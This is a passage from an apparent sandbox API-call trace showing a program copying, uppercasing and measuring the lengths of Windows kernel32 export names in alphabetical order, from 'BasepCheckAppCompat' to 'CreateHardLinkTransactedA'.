lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0086.472] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0086.472] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0086.472] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0086.472] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0086.472] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0086.472] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0086.472] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0086.472] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0086.472] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0086.472] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0086.472] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0086.473] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0086.473] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0086.473] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0086.473] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0086.473] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0086.473] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0086.473] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0086.473] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0086.473] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0086.473] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0086.473] lstrlenA (lpString="BEEP") returned 4 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0086.473] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0086.473] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0086.473] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0086.473] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0086.473] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0086.473] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0086.473] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0086.473] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0086.473] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0086.473] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0086.473] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0086.474] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0086.474] lstrlenA (lpString="CANCELIO") returned 8 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0086.474] lstrlenA (lpString="CANCELIOEX") returned 10 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0086.474] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0086.474] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0086.474] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0086.474] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0086.474] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0086.474] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0086.474] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0086.474] lstrlenA (lpString="CHECKELEVATION") returned 14 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0086.474] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0086.474] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0086.474] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0086.474] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0086.474] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0086.474] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0086.474] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0086.474] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0086.474] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0086.474] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0086.474] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0086.475] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0086.475] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0086.475] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0086.475] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0086.475] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0086.475] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0086.475] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0086.475] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0086.475] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0086.475] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0086.475] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0086.475] lstrlenA (lpString="CLOSESTATE") returned 10 [0086.475] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0086.475] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0086.475] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0086.475] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0086.475] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0086.475] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0086.475] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0086.475] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0086.475] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0086.475] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0086.475] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0086.475] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0086.475] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0086.475] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0086.475] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0086.475] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0086.475] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0086.476] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0086.476] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0086.476] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0086.476] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0086.476] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0086.476] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0086.476] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0086.476] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0086.476] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0086.476] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0086.476] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0086.476] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0086.476] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0086.476] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0086.476] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0086.476] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0086.476] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0086.476] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0086.476] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0086.476] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0086.476] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0086.476] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0086.476] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0086.476] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0086.476] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0086.476] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0086.476] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0086.476] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0086.477] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0086.477] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0086.477] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0086.477] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0086.477] lstrlenA (lpString="COPYCONTEXT") returned 11 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0086.477] lstrlenA (lpString="COPYFILE2") returned 9 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0086.477] lstrlenA (lpString="COPYFILEA") returned 9 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0086.477] lstrlenA (lpString="COPYFILEEXA") returned 11 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0086.477] lstrlenA (lpString="COPYFILEEXW") returned 11 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0086.477] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0086.477] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0086.477] lstrlenA (lpString="COPYFILEW") returned 9 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0086.477] lstrlenA (lpString="COPYLZFILE") returned 10 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0086.477] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0086.477] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0086.477] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0086.477] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0086.477] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0086.477] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0086.477] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0086.477] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0086.477] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0086.478] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0086.478] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0086.478] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0086.478] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0086.478] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0086.478] lstrlenA (lpString="CREATEEVENTA") returned 12 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0086.478] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0086.478] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0086.478] lstrlenA (lpString="CREATEEVENTW") returned 12 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0086.478] lstrlenA (lpString="CREATEFIBER") returned 11 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0086.478] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0086.478] lstrlenA (lpString="CREATEFILE2") returned 11 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0086.478] lstrlenA (lpString="CREATEFILEA") returned 11 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0086.478] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0086.478] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0086.478] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0086.478] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0086.478] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0086.478] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0086.478] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0086.478] lstrlenA (lpString="CREATEFILEW") returned 11 [0086.478] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0086.478] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0086.479] lstrlenA 